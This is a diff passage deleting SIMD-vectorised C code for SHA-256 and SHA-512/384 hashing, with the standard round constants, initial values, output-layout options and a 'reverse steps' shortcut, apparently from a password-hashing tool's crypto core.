-	SHA256_STEP(a, b, c, d, e, f, g, h,  0, 0x428a2f98);
-	SHA256_STEP(h, a, b, c, d, e, f, g,  1, 0x71374491);
-	SHA256_STEP(g, h, a, b, c, d, e, f,  2, 0xb5c0fbcf);
-	SHA256_STEP(f, g, h, a, b, c, d, e,  3, 0xe9b5dba5);
-	SHA256_STEP(e, f, g, h, a, b, c, d,  4, 0x3956c25b);
-	SHA256_STEP(d, e, f, g, h, a, b, c,  5, 0x59f111f1);
-	SHA256_STEP(c, d, e, f, g, h, a, b,  6, 0x923f82a4);
-	SHA256_STEP(b, c, d, e, f, g, h, a,  7, 0xab1c5ed5);
-	SHA256_STEP(a, b, c, d, e, f, g, h,  8, 0xd807aa98);
-	SHA256_STEP(h, a, b, c, d, e, f, g,  9, 0x12835b01);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174);
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c1);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc6);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dc);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c8);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf3);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 31, 0x14292967);
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a85);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b2138);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d13);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 36, 0x650a7354);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c85);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a1);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664b);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a3);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 45, 0xd6990624);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e3585);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa070);
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c08);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774c);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4a);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA224))
-	{
-		SHA256_PARA_DO(i)
-		{
-			vstore((vtype*)&(out[i*8*VS32+0*VS32]), h[i]);
-		}
-		return;
-	}
-
-	SHA256_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc70208);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		SHA256_PARA_DO(i)
-		{
-			vstore((vtype*)&(out[i*8*VS32+3*VS32]), d[i]);
-		}
-		return;
-	}
-
-	SHA256_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506ceb);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2);
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i],vload((vtype*)&reload_state[i*16*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i],vload((vtype*)&reload_state[i*16*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i],vload((vtype*)&reload_state[i*16*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i],vload((vtype*)&reload_state[i*16*VS32+3*VS32]));
-				e[i] = vadd_epi32(e[i],vload((vtype*)&reload_state[i*16*VS32+4*VS32]));
-				f[i] = vadd_epi32(f[i],vload((vtype*)&reload_state[i*16*VS32+5*VS32]));
-				g[i] = vadd_epi32(g[i],vload((vtype*)&reload_state[i*16*VS32+6*VS32]));
-				h[i] = vadd_epi32(h[i],vload((vtype*)&reload_state[i*16*VS32+7*VS32]));
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i],vload((vtype*)&reload_state[i*8*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i],vload((vtype*)&reload_state[i*8*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i],vload((vtype*)&reload_state[i*8*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i],vload((vtype*)&reload_state[i*8*VS32+3*VS32]));
-				e[i] = vadd_epi32(e[i],vload((vtype*)&reload_state[i*8*VS32+4*VS32]));
-				f[i] = vadd_epi32(f[i],vload((vtype*)&reload_state[i*8*VS32+5*VS32]));
-				g[i] = vadd_epi32(g[i],vload((vtype*)&reload_state[i*8*VS32+6*VS32]));
-				h[i] = vadd_epi32(h[i],vload((vtype*)&reload_state[i*8*VS32+7*VS32]));
-			}
-		}
-	} else {
-		if (SSEi_flags & SSEi_CRYPT_SHA224) {
-			SHA256_PARA_DO(i)
-			{
-				/* SHA-224 IV */
-				a[i] = vadd_epi32(a[i], vset1_epi32(0xc1059ed8));
-				b[i] = vadd_epi32(b[i], vset1_epi32(0x367cd507));
-				c[i] = vadd_epi32(c[i], vset1_epi32(0x3070dd17));
-				d[i] = vadd_epi32(d[i], vset1_epi32(0xf70e5939));
-				e[i] = vadd_epi32(e[i], vset1_epi32(0xffc00b31));
-				f[i] = vadd_epi32(f[i], vset1_epi32(0x68581511));
-				g[i] = vadd_epi32(g[i], vset1_epi32(0x64f98fa7));
-				h[i] = vadd_epi32(h[i], vset1_epi32(0xbefa4fa4));
-			}
-		} else {
-			SHA256_PARA_DO(i)
-			{
-				/* SHA-256 IV */
-				a[i] = vadd_epi32(a[i], vset1_epi32(0x6a09e667));
-				b[i] = vadd_epi32(b[i], vset1_epi32(0xbb67ae85));
-				c[i] = vadd_epi32(c[i], vset1_epi32(0x3c6ef372));
-				d[i] = vadd_epi32(d[i], vset1_epi32(0xa54ff53a));
-				e[i] = vadd_epi32(e[i], vset1_epi32(0x510e527f));
-				f[i] = vadd_epi32(f[i], vset1_epi32(0x9b05688c));
-				g[i] = vadd_epi32(g[i], vset1_epi32(0x1f83d9ab));
-				h[i] = vadd_epi32(h[i], vset1_epi32(0x5be0cd19));
-			}
-		}
-	}
-
-	if (SSEi_flags & SSEi_FLAT_OUT) {
-		SHA256_PARA_DO(i)
-		{
-			uint32_t *o = (uint32_t*)&out[i*8*VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15<<3,14<<3,13<<3,12<<3,
-			                        11<<3,10<<3, 9<<3, 8<<3,
-			                         7<<3, 6<<3, 5<<3, 4<<3,
-			                         3<<3, 2<<3, 1<<3, 0<<3);
-
-			vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4);
-			vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4);
-			vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4);
-			vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4);
-			vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4);
-			vscatter_epi32(o + 5, idxs, vswap32(f[i]), 4);
-			vscatter_epi32(o + 6, idxs, vswap32(g[i]), 4);
-			vscatter_epi32(o + 7, idxs, vswap32(h[i]), 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[8];
-				uint32_t s[8 * VS32];
-			} tmp;
-
-			tmp.v[0] = vswap32(a[i]);
-			tmp.v[1] = vswap32(b[i]);
-			tmp.v[2] = vswap32(c[i]);
-			tmp.v[3] = vswap32(d[i]);
-			tmp.v[4] = vswap32(e[i]);
-			tmp.v[5] = vswap32(f[i]);
-			tmp.v[6] = vswap32(g[i]);
-			tmp.v[7] = vswap32(h[i]);
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 8; k++)
-					o[j*8+k] = tmp.s[k*VS32+j];
-#endif
-		}
-	}
-	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) {
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) {
-			SHA256_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]);
-				vstore((vtype*)&out[i*32*VS32+4*VS32], e[i]);
-				vstore((vtype*)&out[i*32*VS32+5*VS32], f[i]);
-				vstore((vtype*)&out[i*32*VS32+6*VS32], g[i]);
-				vstore((vtype*)&out[i*32*VS32+7*VS32], h[i]);
-			}
-		} else {
-			SHA256_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]);
-				vstore((vtype*)&out[i*16*VS32+4*VS32], e[i]);
-				vstore((vtype*)&out[i*16*VS32+5*VS32], f[i]);
-				vstore((vtype*)&out[i*16*VS32+6*VS32], g[i]);
-				vstore((vtype*)&out[i*16*VS32+7*VS32], h[i]);
-			}
-		}
-	}
-	else
-	{
-		SHA256_PARA_DO(i)
-		{
-			vstore((vtype*)&(out[i*8*VS32+0*VS32]), a[i]);
-			vstore((vtype*)&(out[i*8*VS32+1*VS32]), b[i]);
-			vstore((vtype*)&(out[i*8*VS32+2*VS32]), c[i]);
-			vstore((vtype*)&(out[i*8*VS32+3*VS32]), d[i]);
-			vstore((vtype*)&(out[i*8*VS32+4*VS32]), e[i]);
-			vstore((vtype*)&(out[i*8*VS32+5*VS32]), f[i]);
-			vstore((vtype*)&(out[i*8*VS32+6*VS32]), g[i]);
-			vstore((vtype*)&(out[i*8*VS32+7*VS32]), h[i]);
-		}
-	}
-
-}
-#endif /* SIMD_PARA_SHA256 */
-
-
-#if SIMD_PARA_SHA512
-
-#undef S0
-#define S0(x)                                   \
-(                                               \
-    vxor(                                       \
-        vroti_epi64(x, -39),                    \
-        vxor(                                   \
-            vroti_epi64(x, -28),                \
-            vroti_epi64(x, -34)                 \
-        )                                       \
-    )                                           \
-)
-
-#undef S1
-#define S1(x)                                   \
-(                                               \
-    vxor(                                       \
-        vroti_epi64(x, -41),                    \
-        vxor(                                   \
-            vroti_epi64(x, -14),                \
-            vroti_epi64(x, -18)                 \
-        )                                       \
-    )                                           \
-)
-
-/*
- * These optimized sigma alternatives are from "Fast SHA-512 Implementations
- * on Intel Architecture Processors" whitepaper by Intel. They result in less
- * register copy operations so is faster despite using more ops. Slight boost
- * indeed seen on intel core i7.
- */
-#if 1
-#undef s0
-#define s0(x)  (vxor(vsrli_epi64(vxor(vsrli_epi64(vxor(             \
-                     vsrli_epi64(x, 1), x), 6), x), 1),             \
-                     vslli_epi64(vxor(vslli_epi64(x, 7), x), 56)))
-#undef s1
-#define s1(x)  (vxor(vsrli_epi64(vxor(vsrli_epi64(vxor(             \
-                     vsrli_epi64(x, 42), x), 13), x), 6),           \
-                     vslli_epi64(vxor(vslli_epi64(x, 42), x), 3)))
-#else
-#undef s0
-#define s0(x)                                   \
-(                                               \
-    vxor(                                       \
-        vsrli_epi64(x, 7),                      \
-        vxor(                                   \
-            vroti_epi64(x, -1),                 \
-            vroti_epi64(x, -8)                  \
-        )                                       \
-    )                                           \
-)
-
-#undef s1
-#define s1(x)                                   \
-(                                               \
-    vxor(                                       \
-        vsrli_epi64(x, 6),                      \
-        vxor(                                   \
-            vroti_epi64(x, -19),                \
-            vroti_epi64(x, -61)                 \
-        )                                       \
-    )                                           \
-)
-#endif
-
-#if __AVX512F__
-#define Maj(x,y,z) vternarylogic(x, y, z, 0xE8)
-#elif !VCMOV_EMULATED
-#define Maj(x,y,z) vcmov(x, y, vxor(z, y))
-#else
-#define Maj(x,y,z) vor(vand(x, y), vand(vor(x, y), z))
-#endif
-
-#define Ch(x,y,z) vcmov(y, z, x)
-
-#define SHA512_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA512; ++x)
-
-#undef R
-#define R(t)                                                        \
-{                                                                   \
-    tmp1[i] = vadd_epi64(s1(w[i][(t-2)&0xf]), w[i][(t-7)&0xf]);     \
-    tmp2[i] = vadd_epi64(s0(w[i][(t-15)&0xf]), w[i][(t-16)&0xf]);   \
-    w[i][(t)&0xf] = vadd_epi64(tmp1[i], tmp2[i]);                   \
-}
-
-#define SHA512_STEP(a,b,c,d,e,f,g,h,x,K)                    \
-{                                                           \
-    SHA512_PARA_DO(i)                                       \
-    {                                                       \
-        tmp1[i] = vadd_epi64(h[i],    w[i][(x)&0xf]);       \
-        tmp2[i] = vadd_epi64(S1(e[i]),vset1_epi64(K));      \
-        tmp1[i] = vadd_epi64(tmp1[i], Ch(e[i],f[i],g[i]));  \
-        tmp1[i] = vadd_epi64(tmp1[i], tmp2[i]);             \
-        tmp2[i] = vadd_epi64(S0(a[i]),Maj(a[i],b[i],c[i])); \
-        d[i]    = vadd_epi64(tmp1[i], d[i]);                \
-        h[i]    = vadd_epi64(tmp1[i], tmp2[i]);             \
-        if (x < 64) R(x);                                   \
-    }                                                       \
-}
-
-#define INIT_A 0x6a09e667f3bcc908ULL
-#define INIT_B 0xbb67ae8584caa73bULL
-#define INIT_C 0x3c6ef372fe94f82bULL
-#define INIT_D 0xa54ff53a5f1d36f1ULL
-#define INIT_E 0x510e527fade682d1ULL
-#define INIT_F 0x9b05688c2b3e6c1fULL
-#define INIT_G 0x1f83d9abfb41bd6bULL
-#define INIT_H 0x5be0cd19137e2179ULL
-
-#define ror(x, n)       ((x >> n) | (x << (64 - n)))
-
-void sha512_reverse(uint64_t *hash)
-{
-	uint64_t a, b, c, d, e, f, g, h, s0, maj, tmp;
-
-	a = hash[0] - INIT_A;
-	b = hash[1] - INIT_B;
-	c = hash[2] - INIT_C;
-	d = hash[3] - INIT_D;
-	e = hash[4] - INIT_E;
-	f = hash[5] - INIT_F;
-	g = hash[6] - INIT_G;
-	h = hash[7] - INIT_H;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	g = h;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-
-	hash[0] = e - (a - (s0 + maj));
-}
-
-void sha512_unreverse()
-{
-	fprintf(stderr, "sha512_unreverse() not implemented\n");
-	perror("sha512");
-}
-
-#undef ror
-
-#undef INIT_H
-#undef INIT_G
-#undef INIT_F
-#undef INIT_E
-#undef INIT_D
-#undef INIT_C
-#undef INIT_B
-#undef INIT_A
-
-#define INIT_D 0x152fecd8f70e5939ULL
-
-void sha384_reverse(ARCH_WORD_64 *hash)
-{
-	hash[3] -= INIT_D;
-}
-
-void sha384_unreverse(ARCH_WORD_64 *hash)
-{
-	hash[3] += INIT_D;
-}
-
-#undef INIT_D
-
-void SIMDSHA512body(vtype* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state,
-                   unsigned SSEi_flags)
-{
-	unsigned int i, k;
-
-	vtype a[SIMD_PARA_SHA512],
-	      b[SIMD_PARA_SHA512],
-	      c[SIMD_PARA_SHA512],
-	      d[SIMD_PARA_SHA512],
-	      e[SIMD_PARA_SHA512],
-	      f[SIMD_PARA_SHA512],
-	      g[SIMD_PARA_SHA512],
-	      h[SIMD_PARA_SHA512];
-	vtype w[SIMD_PARA_SHA512][16];
-	vtype tmp1[SIMD_PARA_SHA512], tmp2[SIMD_PARA_SHA512];
-
-	if (SSEi_flags & SSEi_FLAT_IN) {
-		ARCH_WORD_64 *_data = (ARCH_WORD_64*)data;
-		SHA512_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_2BUF_INPUT) {
-				ARCH_WORD_64 (*saved_key)[32] = (ARCH_WORD_64(*)[32])_data;
-				for (i = 0; i < 14; i += 2) {
-					GATHER64(tmp1[k], saved_key, i);
-					GATHER64(tmp2[k], saved_key, i + 1);
-					vswap64(tmp1[k]);
-					vswap64(tmp2[k]);
-					w[k][i] = tmp1[k];
-					w[k][i + 1] = tmp2[k];
-				}
-				GATHER64(tmp1[k], saved_key, 14);
-				GATHER64(tmp2[k], saved_key, 15);
-				_data += (VS64<<5);
-			} else {
-				ARCH_WORD_64 (*saved_key)[16] = (ARCH_WORD_64(*)[16])_data;
-				for (i = 0; i < 14; i += 2) {
-					GATHER64(tmp1[k], saved_key, i);
-					GATHER64(tmp2[k], saved_key, i + 1);
-					vswap64(tmp1[k]);
-					vswap64(tmp2[k]);
-					w[k][i] = tmp1[k];
-					w[k][i + 1] = tmp2[k];
-				}
-				GATHER64(tmp1[k], saved_key, 14);
-				GATHER64(tmp2[k], saved_key, 15);
-				_data += (VS64<<4);
-			}
-			if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) ||
-				 ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) {
-				vswap64(tmp1[k]);
-				vswap64(tmp2[k]);
-			}
-			w[k][14] = tmp1[k];
-			w[k][15] = tmp2[k];
-		}
-	} else
-		memcpy(w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA512);
-
-	//dump_stuff_shammx64_msg("\nindex 2", w, 128, 2);
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*16*VS64+0*VS64]);
-				b[i] = vload((vtype*)&reload_state[i*16*VS64+1*VS64]);
-				c[i] = vload((vtype*)&reload_state[i*16*VS64+2*VS64]);
-				d[i] = vload((vtype*)&reload_state[i*16*VS64+3*VS64]);
-				e[i] = vload((vtype*)&reload_state[i*16*VS64+4*VS64]);
-				f[i] = vload((vtype*)&reload_state[i*16*VS64+5*VS64]);
-				g[i] = vload((vtype*)&reload_state[i*16*VS64+6*VS64]);
-				h[i] = vload((vtype*)&reload_state[i*16*VS64+7*VS64]);
-			}
-		}
-		else
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*8*VS64+0*VS64]);
-				b[i] = vload((vtype*)&reload_state[i*8*VS64+1*VS64]);
-				c[i] = vload((vtype*)&reload_state[i*8*VS64+2*VS64]);
-				d[i] = vload((vtype*)&reload_state[i*8*VS64+3*VS64]);
-				e[i] = vload((vtype*)&reload_state[i*8*VS64+4*VS64]);
-				f[i] = vload((vtype*)&reload_state[i*8*VS64+5*VS64]);
-				g[i] = vload((vtype*)&reload_state[i*8*VS64+6*VS64]);
-				h[i] = vload((vtype*)&reload_state[i*8*VS64+7*VS64]);
-			}
-		}
-	} else {
-		if (SSEi_flags & SSEi_CRYPT_SHA384) {
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-384 IV */
-				a[i] = vset1_epi64(0xcbbb9d5dc1059ed8ULL);
-				b[i] = vset1_epi64(0x629a292a367cd507ULL);
-				c[i] = vset1_epi64(0x9159015a3070dd17ULL);
-				d[i] = vset1_epi64(0x152fecd8f70e5939ULL);
-				e[i] = vset1_epi64(0x67332667ffc00b31ULL);
-				f[i] = vset1_epi64(0x8eb44a8768581511ULL);
-				g[i] = vset1_epi64(0xdb0c2e0d64f98fa7ULL);
-				h[i] = vset1_epi64(0x47b5481dbefa4fa4ULL);
-			}
-		} else {
-			SHA512_PARA_DO(i)
-			{
-				/* SHA-512 IV */
-				a[i] = vset1_epi64(0x6a09e667f3bcc908ULL);
-				b[i] = vset1_epi64(0xbb67ae8584caa73bULL);
-				c[i] = vset1_epi64(0x3c6ef372fe94f82bULL);
-				d[i] = vset1_epi64(0xa54ff53a5f1d36f1ULL);
-				e[i] = vset1_epi64(0x510e527fade682d1ULL);
-				f[i] = vset1_epi64(0x9b05688c2b3e6c1fULL);
-				g[i] = vset1_epi64(0x1f83d9abfb41bd6bULL);
-				h[i] = vset1_epi64(0x5be0cd19137e2179ULL);
-			}
-		}
-	}
-
-	SHA512_STEP(a, b, c, d, e, f, g, h,  0, 0x428a2f98d728ae22ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g,  1, 0x7137449123ef65cdULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f,  2, 0xb5c0fbcfec4d3b2fULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e,  3, 0xe9b5dba58189dbbcULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d,  4, 0x3956c25bf348b538ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c,  5, 0x59f111f1b605d019ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b,  6, 0x923f82a4af194f9bULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a,  7, 0xab1c5ed5da6d8118ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h,  8, 0xd807aa98a3030242ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g,  9, 0x12835b0145706fbeULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814a1f0ab72ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL);
